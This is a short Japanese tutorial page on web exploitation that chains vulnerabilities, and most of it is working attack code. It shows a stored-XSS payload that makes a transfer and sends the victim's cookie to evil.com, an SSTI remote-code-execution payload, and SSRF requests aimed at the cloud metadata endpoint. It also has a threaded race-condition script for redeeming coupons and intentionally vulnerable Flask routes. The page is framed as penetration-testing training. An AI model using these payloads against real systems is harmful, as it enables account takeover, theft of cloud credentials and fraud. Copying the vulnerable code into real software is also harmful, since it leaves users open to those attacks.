Webエクスプロイト
🔥 Vibe プロンプト
「脆弱性を連鎖:XSS → CSRF → アカウント乗っ取り。SSTIからRCE。」
格納型XSSからアカウント乗っ取り
fetch('/api/profile', {
method: 'POST',
body: JSON.stringify({
name: "<img src=x onerror=\
fetch('/api/transfer', {method: 'POST', body: JSON.stringify({to: 'attacker', amount: 1000})})\n .then(r => fetch('https://evil.com/steal?cookie=' + document.cookie))
\">"
})
})
SSTI(サーバーサイドテンプレートインジェクション)
# 脆弱なコード
@app.route('/greet')
def greet():
name = request.args.get('name')
return render_template_string(f"<h1>Hello {name}!</h1>")
# テスト: {{7*7}} → Hello 49! → SSTI確認!
# RCEペイロード:
# {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
SSRF
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
return requests.get(url).text # 脆弱!
/fetch?url=http://169.254.169.254/latest/meta-data/
/fetch?url=http://localhost:9200/
レースコンディション
def use_coupon():
requests.post("https://target.com/api/coupon/redeem",
json={"code": "FREEMONEY"})
threads = [threading.Thread(target=use_coupon) for _ in range(50)]
for t in threads: t.start()
for t in threads: t.join()
エクスプロイト連鎖
| 連鎖 | 影響 | |------|------| | XSS + CSRF | アカウント乗っ取り | | SSRF + クラウドメタデータ | クラウド認証情報窃取 | | SSTI + OSコマンド | RCE | | SQLi + ファイル書き込み | Webshell | | レース + 残高確認 | 無限マネー |
テスターのベストプラクティス
- 脆弱性を連鎖(より高い影響)
- すべての手順を文書化
- OOBテストにBurp Collaborator使用
- 全ブラウザでテスト(XSSは異なる)
- WAFバイパス技術を確認
重要なポイント
- コアコンセプトをしっかり理解する
- ハンズオンコード例で実践する
- 実世界の問題に応用する
- 演習で知識を強化する
さらに学ぶ
- 公式ドキュメント
- GitHubのオープンソースプロジェクト
- コミュニティフォーラムとディスカッション
- 関連コースとチュートリアル